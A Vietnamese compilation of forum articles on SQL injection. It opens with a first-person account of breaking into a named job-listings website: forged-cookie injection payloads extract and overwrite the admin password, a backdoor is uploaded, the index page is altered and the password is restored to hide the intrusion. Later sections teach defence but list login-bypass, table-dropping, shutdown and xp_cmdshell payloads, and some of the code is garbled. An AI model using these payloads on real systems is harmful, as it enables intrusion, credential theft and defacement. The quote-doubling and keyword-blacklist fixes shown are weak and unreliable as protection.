Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn"). Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển tiền trong session của chúng ta vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự là ai.
Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang webhttp://www.mangvieclam.com. Mình đã gởi lời nhắn cho admin của mangvieclam.com nhưng chẳng thấy liên lạc với mình để fix lỗi. Hihi, cái "message" của mình ở cuối trang index.asp trên mangvieclam.com chưa thấy ai xóa hết.
Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng Javascript:alert(document.cookie) để xem cookie.
Ban có thể thay đổi thông tin cá nhân của một user bất kì trên mangvieclam.com bằng cách đổi lại cookie username như sau: javascript:void(document.cookie="username=tên user"), sau đó chọn mục "Cập nhập thông tin"
Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật khẩu", gõ dòng javascript:void(document.cookie="username=tên user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được và password mới, sau đó ấn nút "Thay đổi mật khẩu".
Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực thi:
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Rất tiếc là lỗi này không thể khai thác trên www.mangvieclam.com dolỗi lập trình.
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Tuy nhiên, website www.mangvieclam.com dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của admin từ tblConfig như sau:
Đầu tiên mình lấy username bằng javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))
Chọn mục "Cập nhập thông tin"
Tên đăng nhâp của admin là 'ngtuan'
Tương tự mình lấy password của admin bằng javascript:void(document.cookie="username="+escape("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--"))
Bây giờ mình đặt lại password mới là 'hacked'
<? echo substr(md5("hacked"),1,10); // d4098d64e1 ?>
"javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='d4098d64e1' where accid=1--"))"
Tiếp theo mình đăng nhập vào "admin-cp" với username là ngtuan và password là hacked:
<form action=http://www.mangvieclam.com/log.asp method=post>
username: <input type=text name=username><br>
password: <input type=password name=password><br>
<input type=hidden name=ChoseLogin value=3>
<input type=hidden name=mod value=1>
<input type=submit value=login>
</form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ cho admin để tránh bị phát hiện:
javascript:void(document.cookie="username="+escape("';update tblconfig set adminpass='...' where accid=1--"))
Một giải pháp cho mangvieclam.com là bạn nên chuyển biến Request.Cookies("UserName") thành biến phiên Session("UserName") để tránh bị giả mạo username như ở trên.
3. Cach sua loi SQL injection
Việc thiết kế và đưa website vào hoạt động luôn đòi hỏI nhà phát triển phảI quan tâm đến vấn đề an toàn ,bảo mật nhằm giảm tốI đa kha năng bị hacker tấn công .Thường các nhà phát triển phảI tập trung vào vấn đề an toàn của hệ điều hành ,hệ quản trị CSDL websever ….Tuy nhiên có một nguy cơ tiềm ẩn ít được quan tâm đó là các đoạn mã của ứng dụng một trong số đó là tấn công băng SQL injection .SQL injection là một kỹ thuật cho phép những kẽ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp bằng cách lợI dụng lỗ hõng trong việc kiểm tra dũ liệu nhận từ các ứng dụng web hậu quả này rất tai haij vì nó cho phép kẻ tấn công có toàn quyền hiệu chỉnh trên CSDL của ứng dụng lỗI này thường xáy ra trên các ứng dụng web có dữ liệu được quản trị bằng các hệ quản trị CSDL như SQL sever, Oracle,DB2,sysbase.
Xét một thí dụ điển hình ,thông thương để cho phép ngườI truy cập vaò các trang web được bảo mật hệ thống thường xây dựng trang đăng nhập để yêu cầu ngườI dùng nhập thông tin về tên đăng nhập và pass .sau khi đăng nhập thông tin vào hệ thống sẽ kiểm tra tên vào mật khẩu có hợp lệ hay không để quyết đinhj cho phép hay từ chốI .
Trong trường hợp này ngườI ta có thể xây dụng 2 trang một trang HTML để thực hiện form nhập liệu và một trang ASP để xủ lý thông tin từ phía ngườI dùng.
VD:
Login.html
<form action=”Execlogin. Asp”method=”post”>
username:<input type=”text”name=”txtusername”><br>
password:<input type=”password”name”txtpassword”><br>
<input type=”submit”></form>
ExecLogin. Asp
<%
Dim p_strausername,p_strPassword,objRS,serSQL
P_serUsername=
Request,Form(“txtusername”)
P_serPassword=
Request.Form(“txtpassword”)
serSQL=”SELECT*FORMtblusers”&_”WHEREUsername=’”
&_strUsername&_
“and Password=’”&p-strPassword&””
Set objRS=
SeverCreateObject(“ADOB.Recordset”)
objRS.open strSQL,”DSN=…”
if(objRS.EOF) Then
Reponse.write”invalid login”
Reponse.write”you are logged in as”& objRS(“Username”)
End If
Set objRS=nothing
%>
thoạt nhìn đoạn mã trong trang ASP không chứa bất kỳ lỗ hỗng bảo mật nào.NgườI dùng không thể đăng nhập khi không có tên và pass.Tuy nhiên đoạn mã này thật sự không an toàn và là tiềm đề chotấn công SQL injection đặc biệt sơ hơ nằm ở chổ dữ liệu ngườI dùng nhập vào dùng để xây dựng trực tiếp câu lệnh truy vấn SQL chính điều này cho phép những kẽ tấn công có thể điều khiển được câu truy vấn sẽ thực hiện
ví dụ ngườI dùng nhập chuỗI sau vào trong cả hai ô nhập liệu user /pass của trang login.html” ‘or”=’.Lúc này câu truy vấn sẻ được gọI thực hiện là
SELECT*FORM tblUsers WHERE Username=’’’ or”=”and password=”or”=”
Câu truy vấn này là hoàn toàn hợp lệ và sẽ trả tất cả các bản ghi của tbUsers,và đoạn mã gián tiêp sử lý ngườI đăng nhập hợp lệ .
Tác hạI và cách phòng chống:
Tác hạI là phụ thuộc vào môi trường và các cấu hình hệ thống nếu ngườI sủ dụng dùng quyền cuar ngườI sở hứu CSDL khi thao tác dữ liệu .Nó có thể sữa toàn bộ đữ liệu ,tạo các bản đữ liệu mớI …..còn nếu ngườI dùng quyền quản trị hệ thống thì có thể điều khiển toàn bộ hệ thống
Để tránh điều này thay thế các dấu nháy đơn bằng hàm replace để thay thế bằng 2 dấu nháy đơn:
P_strUsername=
Replace(Request.Form(“txtusername”),”’”,”’”)
P_strpassword=
Replace(Request.Form(“txtpassword”),”’”,”’”)
Một ví dụ khác của tấn công SQL Injection nữa là khi các trang Websử dụng dữ liệu nhập vào theo dạng querystring (bằng cách gõ cặp tham số và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến ID thông qua querystring và phát sinh nội dung của trang đó dựa trên ID:
<%
Dim p_lngID, objRS, strSQL
p_lngID = Request(“ID”)
strSQL = “SELECT * FROM tblArticles WHERE ID=” & p_lngID
Set objRS = Server.CreateObject(“ADODB.Recordset”)
objRS.Open strSQL, “DSN=...”
If (Not objRS.EOF) Then Response.Write objRS(“ArticleContent”)
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của article có ID trùng với ID được chuyển đến cho nó dưới dạng querystring. Ví dụ, trang này có thể được gọi như sau:
http://www.example.com/Article.asp?ID=1055, để hiển thị nội dung của article có ID là 1055.
Giống như ví dụ đăng nhập ở trên, đoạn mã này để lộ sơ hở cho khả năng tấn công SQL Injection. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp pháp, ví dụ như: 0 or 1=1 (nghĩa là,http://www.example.com/Article.asp?ID=0 or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM tblArticles WHERE ID=0 or 1=1
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ CSDL bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay đổi chuỗi gán dữ liệu cho ID, ví dụ như:
http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles.
Tác Hại Và Cách Phòng Tránh
Tác hại của dạng tấn công SQL Injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu CSDL) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới... Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ CSDL và thậm chí có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request. QueryString, Request.Form, Request. Cookies, và Request.Server Variables).
Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗi xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn:
p_strUsername = Replace(Request.Form(“txtUsername”), “‘“, “‘’”)
p_strPassword = Replace(Request.Form(“txtPassword”), “‘“, “‘’”)
Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không:
p_lngID = CLng(Request(“ID”))
Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗi ngay lập tức.
Ngoài ra để tránh các nguy cơ từ tấn công SQL Injection, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển tới cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Bạn có thể tham khảo thêm thông tin về cách thức tạo ra các trang báo lỗi tùy ý trong “Tạo ra các trang báo lỗi ASP được tùy biến”.
Cuối cùng, để hạn chế thiệt hại do tấn công SQL Injection, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu của tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng các quyền như dbo hay sa. Quyền càng hạn chế, thiệt hại càng ít.
Đa số các trang web hiện nay,tuỳ thuộc vào nội dung mà thiết kế cho riêng mình 1 giao diện bắt mắt.Để làm việc này họ chỉ cần download database từ trên Internet về và sữa đổi dữ liệu đã được cập nhật từ 1 database.Một trong những nền phổ biến cho web datastores là SQL.Một hay nhiều ứng dụng web thì được đơn giản toàn bộ những script đầu vào bằng cách truy vấn 1 SQL database,bản thân webserver hoặc 1 hệ thống đầu cuối riêng biệt.Một trong những cuộc tấncông xảo quyệt nhất ứng dụng web bao gồm việc đánh cắp queries sử dụng bởi bản thân những scripts đầu vào để tước quyền điều khiển những ứng dụng hoặc dữ liệu của nó.Một trong những cơ cấu có hiệu quả nhất để thực hiên điều này là kĩ thuật được mang tên "SQL Injection".
SQL Injection chỉ việc đưa vào những đoạn truy vấn nguy hiểm TransacSQL vào 1 vị trí để thực hiện những hoạt động không ngờ.Thường thì những đoạn truy vấn hiện có đơn giản là Edit để hoàn thành những kết quả tương tự.
TransactSQL thì dễ dàng vận dụng bằng sự thay thế 1 kí tự đơn,tuỳ thuộc vào sự sáng suốt có kẻ tấn công để đưa ra những đoạn truy vấn nguy hiểm.
Một số các kí tự thường được sử dụng để chèn dữ lịêu vào hợp lệ trong bao gồm (');(--);và ;.Chúng có những ý nghĩa đặc biệt trong Transact SQL.
Chúng ta sẽ tự hỏi là khi hacker đánh cắp được SQL query chúng sẽ làm gì?.Ban đầu họ có thể xâm nhập trái phép các dữ liệu.Với những kĩ thuật kín đáo,họ có thể truy cập 1 cách hợp pháp,hoặc thậm chí là tìm cách hoàn toàn điều khiển toàn bộ webserver hoặc hệ thống SQL đầu cuối.
Ví dụ về SQL Injection:Để tìm vị trí bị lỗi SQL Injection,ta gõ 1 số từ khoá trong Form field như sau:
+Đăng nhập hợp pháp:
-Xác nhận đúng mà không cần bất kì điều kiện nào:
USER:' OR "='
PASS:' OR "='
-Xác nhận đúng chỉ với username:
USER:admin'--
-Xác nhận đúng như là người dùng đầu tiên trong user table:
USER:' or 1=1--
-Xác nhận đúng như là 1 người dùng giả tạo:
USER:' union select 1,'user','passwd' 1--
+Phá hoại:
-Bỏ 1 bảng dữ liệu:
USER:';drop table users--
-Shutdown dữ liệu từ xa:
USER:aaaaaaaaaaaaaaa'
PASS:';shutdown--
+Thực thi chức năng yêu cầu lấy và lưu trữ những thủ tục:
-Thi hành xp_cmdshell để lấy 1 danh sách thư mục:
http://localhost/script?0';EXEC+master...#39;dir';--
-Thi hành xp_service control để chiếm đoạt service:
http://localhost/script?0';EXECT+maste...;server';--
Không phải cú pháp trên đều làm việc hầu hết trên các dữ liệu.Thông tin sau sẽ cho biết những phương pháp chúng ta đã sơ lược phía trên sẽ làm việc hay không trong những nền chứa dữ liệu.Vì không kẻ bảng được nên mình gõ như sau cho dễ so sánh:
Datapase specific Information:---My SQL----Oracle-----DB2------Postgre-----MSSQL
UNION possible:----------------------Y------------Y---------Y----- -------Y------------Y---
Subselects possible:-----------------N------------Y---------Y---------- --Y------------Y---
Multiple statements:-----------------N(mostly)---N---------N--------- -Y-------------Y--
Default stored procedures:---------_--Many(utf-file)------_----------_----- --M(cmdshell)
Other Comments:----------Supports"intooutfile"-_-------_---------- -_-------------_----
+Các công cụ tự động tìm lỗi SQL injection:
SQL Injection thường được thực hiện bằng kĩ thuật của hacker,nhưng 1 vài công cụ có thể tự động quá trình nhận dạng và khai thac chỗ yếu.Wpoison là công cụ có thể phát hiện lỗi SQLInjection trong các trang web.Những đoạn string tìm lỗi SQL thì được lưu trữ trong 1 file từ điển,và vì thế nó trở lên dễ dàng cho bất kì ai thêm vào danh sách từ điển cho riêng mình.Wpoison chạy trên Linux,có thể download tại:
http://wpoison.sourceforge.net
Ngoài ra còn có công cụ SPIKE Proxy,nó có các chức năng khá tốt-tự động thực hiện SQL Injection -những d0oạn string sẽ được Inject tuỳ vào thói quen người sử dụng .SPIKE Proxy là 1 Python và OpenSSL-công cụ đánh giá ứng dụng web cơ bản có các chức năng như HTTP và HTTPS Proxy...Nó cho phép người phát triển web hoặc người quản trị ứng dụng web cấp thấp truy cập vào tòan bộ phương tiện ứng dụng web,trong khi nó cũng cung cấp 1 nhóm các công cụ tự động và những kĩ năng khám phá ra những lỗi thông thường,cáccông cụ đó bao gồm:SQL Injection,Website Crawler,Login Form Brute Forcer,Automated Overflow Detection..v.vSpike Proxy chạy trên Win32 và Linux,các bạn có thể Download tại:
www.immunitysec.com/spike.html]www.immunitysec.com/spike.htm l
Chú ý là phần mềm này nặng khoảng 13M và máy tính của bạn phải có sẵn Python và OpenSSL.Trong WinXP công cụ này không hoạt động.
Mieliekoek.pl là 1 SQL Insertion Crawler,có chức năng kiểm tra các form liên quan đến lỗi SQL.Scrip này cung cấp 1 công cụ Webmirroring như là dữ liệu vào,xem xét từng file và nhân diện sự tồn tại các form trong file.Các chuỗi được Inject có thể dễ dàng thay đổi trong file cấu hình.Download Mieliekoek tại:
http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl
Công cụ này chỉ hoạt động khi máy bạn đã cài PERL.Sau đây là 1 ví dụ của dữ liệu xuất từ mieliekoek:
$badstring="blah''';
#$badstring="blah' or 1=1 --";
$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' - ';
Tự tạo các trang báo lỗi ASP tùy biến
Một trong những cách để chống tấn công SQL Injection là vô hiệu hóa các thông báo lỗi chi tiết trong IIS và bằng cách tạo ra các thông báo lỗi tùy ý không mang tính chất kĩ thuật. Thông tin trong bài báo này áp dụng cho Microsoft Internet Information Services version 5.0.Microsoft Internet Information Services (IIS) version 5.0 có khả năng tạo các trang báo lỗi Active Server Pages (ASP) tùy biến thông qua một phương thức mới cho đối tượng ASP Server dựng sẵn có tên là Server.GetLastError(), phương thức này trả lại một đối tượng ASPError mới.
Điều Gì Đã Xảy Ra
Khi một lỗi xuất hiện trong quá trình bạn biên dịch hay chạy một trang ASP, IIS sẽ đưa ra thông báo lỗi 500;100 và thực thi phương thức Server.Transfer() để chuyển quyền kiểm soát đến trang báo lỗi tùy biến được định nghĩa hiện thời. (Theo mặc định trang này là /iishelp/common/500-100.asp.) Để có thêm thông tin về phương thức Server.Transfer(), hãy xem bài sau đây trong Microsoft Knowledge Base: Q219294 Làm thế nào để sử dụng phương thức Server.Transfer.
Khi IIS chuuyển lỗi đến trang báo lỗi tùy biến, ta có thể sử dụng phương thức Server.GetLastError() có thể được sử dụng để thu nhận các thông tin chi tiết liên quan đến lỗi xuất hiện. Phương thức Server.GetLastError() trả lại một đối tượng ASPError, đối tượng này có các thuộc tính được liệt kê trong bảng sau đây.(Bảng này cũng có thể tìm thấy trong phần tài liệu kĩ thuật của IIS 5.0 có trên mạng.)Các bước được liệt kê dưới đây sẽ chỉ cho bạn thấy các bước cần tiến hành để tạo ra một trang báo lỗi ASP tùy biến.
1. Lưu mã ASP dưới đây vào thư mục Scripts của bạn dưới tên tệp là “My500.asp”:
<%@Language=”VBSCRIPT”%>
<%
Option Explicit
On Error Resume Next
Response.Clear
Dim objError
Set objError = Server.GetLastError()
%>
<html>
<head>
<title>ASP 500 Error</title>
<style>
BODY { FONT-FAMILY: Arial; FONT-SIZE: 10pt;
BACKGROUND: #ffffff; COLOR: #000000;
MARGIN: 15px; }
H2 { FONT-SIZE: 16pt; COLOR: #ff0000; }
TABLE { BACKGROUND: #000000; PADDING: 5px; }
TH { BACKGROUND: #0000ff; COLOR: #ffffff; }
TR { BACKGROUND: #cccccc; COLOR: #000000; }
</style>
</head>
<body>
<h2 align=”center”>ASP 500 Error</h2>
<p align=”center”>Một lỗi xuất hiện trong quá trình xử lý trang bạn yêu cầu.<br>
Đề nghị hãy xem chi tiết dưới đây.</p>
<div align=”center”><center>
<table>
<% If Len(CStr(objError.ASPCode)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số hiệu lỗi IIS</th>
<td align=”left” valign=”top”><%=objError.ASPCode%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Number)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số hiệu lỗi COM</th>
<td align=”left” valign=”top”><%=objError.Number%>
<%=” (0x” & Hex(objError.Number) & “)”%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Source)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Nguồn gây lỗi</th>
<td align=”left” valign=”top”><%=objError.Source%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.File)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Tên file</th>
<td align=”left” valign=”top”><%=objError.File%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Line)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Số của dòng gây lỗi</th>
<td align=”left” valign=”top”><%=objError.Line%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.Description)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Mô tả ngắn gọn</th>
<td align=”left” valign=”top”><%=objError.Description%></td>
</tr>
<% End If %>
<% If Len(CStr(objError.ASPDescription)) > 0 Then %>
<tr>
<th nowrap align=”left” valign=”top”>Mô tả đầy đủ</th>
<td align=”left” valign=”top”><%=objError.ASPDescription%></td> ; ;
</tr>
<% End If %>
</table>
</center></div>
</body>
</html>
2.Thiết lập trang ASP báo lỗi tùy biến:
1. Mở trình Internet Services Manager trong MMC.
2. Mở rộng phạm vi theo dõi Default Web Site của bạn.
3. Kích chuột phải vào thư mục Scripts và chọn Properties.
4. Kích vào tab Custom Errors.
5. Cuộn xuống và kích chọn vào 500;100 HTTP error và kích vào Edit Properties.
6. Thiết lập Message Type thành URL.
7. Thay đổi URL thành “/scripts/my500.asp” (không để dấu trích kép).
8. Kích OK để trở lại MMC.
3. Kiểm tra trang báo lỗi mới:
• Lưu tất cả các trang sau đây vào thư mục Scripts của bạn:
Lưu trang này với cái tên Badpage1.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 1</title>
</head>
<body>
<% Response.Write 1/0 %>
</body>
</html>
Lưu trang này dưới cái tên Badpage2.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 2</title>
</head>
<body>
<% Response.BadMethod “Hello” %>
</body>
</html>
Lưu trang này dưới cái tên Badpage3.asp:
<%@Language=”VBSCRIPT”%>
<html>
<head>
<title>Trang có lỗi 3</title>
</head>
<body>
<%
Dim objBad
Set objBad = Server.CreateObject(“BAD.OBJECT.CLASS”)
%>
</body>
</html>
• Khi bạn duyệt bất cứ một trang nào ở trên, nếu như các bước trên bạn tiến hành thành công thì bạn sẽ trông thấy các trang báo lỗi đã được tùy biến hiển thị trên trình duyệt.
Chú ý: Khi sử dụng Internet Explorer 5.0 và các phiên bản sau đó để xem các trang báo lỗi ASP được tùy biến, rất có thể bạn sẽ nhận được những kết quả không mong muốn. IE5 đã đưa ra một tính năng để thay thế cho trang HTML mẫu dùng cho lỗi HTTP 500, và một số các trang khác thường được sử dụng để trả lại các mã trạng thái, bằng các thông điệp không cụ thể và chuẩn. Để bỏ qua tính năng này và hiển thị kết quả kiểm tra chính xác của mã trạng thái được trả lại cho trình duyệt, bạn hãy mở Internet Explorer và chuyển tới:
Tools | Internet Options | Advanced
và sau đó bỏ dấu kiểm trên hộp có dán nhãn
Show friendly HTTP error messages
- Thủ thuật khử nháy đơn (')
- Thủ thuật khử trích dẫn
- Thủ thuật ràng buộc nhập password
---------------------------------------------
Sử dụng VBScript xây dựng các hàm sau:
- Khử nháy đơn
function escape(input)
input = replace(input,"'",""")
escape = input
end function
- Khử trích dẫn
function validate_string( input)
known_bad = array("select","insert","update","delete","drop","--","'","@ @","%%")
validate_string = true
for i = lbound( known_bad ) to ubound( known_bad )
if (instr(1, input, known_bad(i),vbtextcompare)0) then
validate_string = false
exit function
end if
next
end function
- Ràng buộc nhập password
function validatepassword( input )
good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456 789"
validatepassword = true
for i = 1 to len (input)
c = mid( input, i, 1)
if (Instr(good_password_chars,c) = 0) then
validatepassword =false
end if
next
end functionBài viết thứ 2:
BẢO VỆ ỨNG DỤNG WEB CHỐNG TẤN CÔNG KIỂU SQL INJECTION
Nguồn gốc : Sưu Tầm
1. SQL Injection là gì?
Việc thiết kế và đưa vào hoạt động một website luôn đòi hỏi các nhà phát triển phải quan tâm đến các vấn
đề về an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn côngtừ các tin tặc. Tuy nhiên, thông thường
các nhà phát triển đa số tập trung vào các vấn đề an toàn trong việc chọn hệ điều hành, hệ quản trị CSDL,
webserver sẽ chạy ứng dụng, ... Ví dụ, người ta thường quan tâm nhiều đến các lỗ hổng về an toàn trên IIS
hơn là quan tâm đến các đoạn mã của ứng dụng có tiềm ẩn các lỗ hổng nghiêm trọng hay không. Một trong
số các lỗ hổng này đó là SQL injection attack.
SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp
(không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập
trong các ứng dụng web. Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các
thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi này thường xảy ra trên
các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị CSDL như SQL Server, Oracle, DB2,
Sysbase.
Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật,
hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật
khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ
hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng 2 trang, một trang HTML để hiển thị form nhập liệu và một
trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
Login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="txtUsername"><br>
Password: <input type="password" name="txtPassword"><br>
<input type="submit">
</form>
ExecLogin.asp
<%
Dim p_strUsername, p_strPassword, objRS, strSQL
p_strUsername = Request.Form("txtUsername")
p_strPassword = Request.Form("txtPassword")
strSQL = "SELECT * FROM tblUsers " & _
"WHERE Username='" & p_strUsername & _
"' and Password='" & p_strPassword & "'"
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("Username")
End If
Set objRS = Nothing
%>
Thoạt nhìn, đoạn mã trong trang ExecLogin.asp dường như không chứa bất cứ một lỗ hổng về an toàn nào.
Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này
thực sự không an toàn và là tiền đề cho một SQL injection attack. Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu
nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh truy vấn SQL. Chính điều này cho phép
những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện.
Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang Login.htm:
‘ or ‘’ = ‘ . Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của tblUsers và đoạn mã tiếp theo xử lí người
dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
Một ví dụ khác của SQL injection attack nữa là khi các trang web sử dụng dữ liệu nhập vào theo dạng
querystring (bằng cách gõ cặp tham số và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính
ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến ID thông qua querystring và phát
sinh nội dung của trang đó dựa trên ID:
<%
Dim p_lngID, objRS, strSQL
p_lngID = Request("ID")
strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (Not objRS.EOF) Then Response.Write objRS("ArticleContent")
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của article có ID trùng với ID được
chuyển đến cho nó dưới dạng querystring. Ví dụ, trang này có thể được gọi như sau:
http://www.example.com/Article.asp?ID=1055, để hiển thị nội dung của article có ID là 1055.
Giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một SQL injection attack. Kẻ tấn công có
thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp pháp,
ví dụ như: 0 or 1=1 (nghĩa là, http://www.example.com/Article.asp?ID=0 or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM tblArticles WHERE ID=0 or 1=1
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa
toàn bộ CSDL bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay
đổi chuỗi gán dữ liệu cho ID, ví dụ như:
http://www.example.com/Article.asp?ID=1055; DELETE FROM tblArticles.
2. Các tác hại và cách phòng tránh
Tác hại từ SQL Injection attack tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng
quyền dbo (quyền của người sở hữu CSDL - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ
liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều
khiển toàn bộ hệ quản trị CSDL và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người
dùng bất hợp pháp để điều khiển hệ thống của bạn.
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL là bằng cách kiểm soát chặt
chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString,
Request.Form, Request.Cookies, and Request.ServerVariables).
- Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗixuất phát từ việc có dấu nháy
đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế
bằng 2 dấu nháy đơn:
p_strUsername = Replace(Request.Form("txtUsername"), "'", "''")
p_strPassword = Replace(Request.Form("txtPassword"), "'", "''")
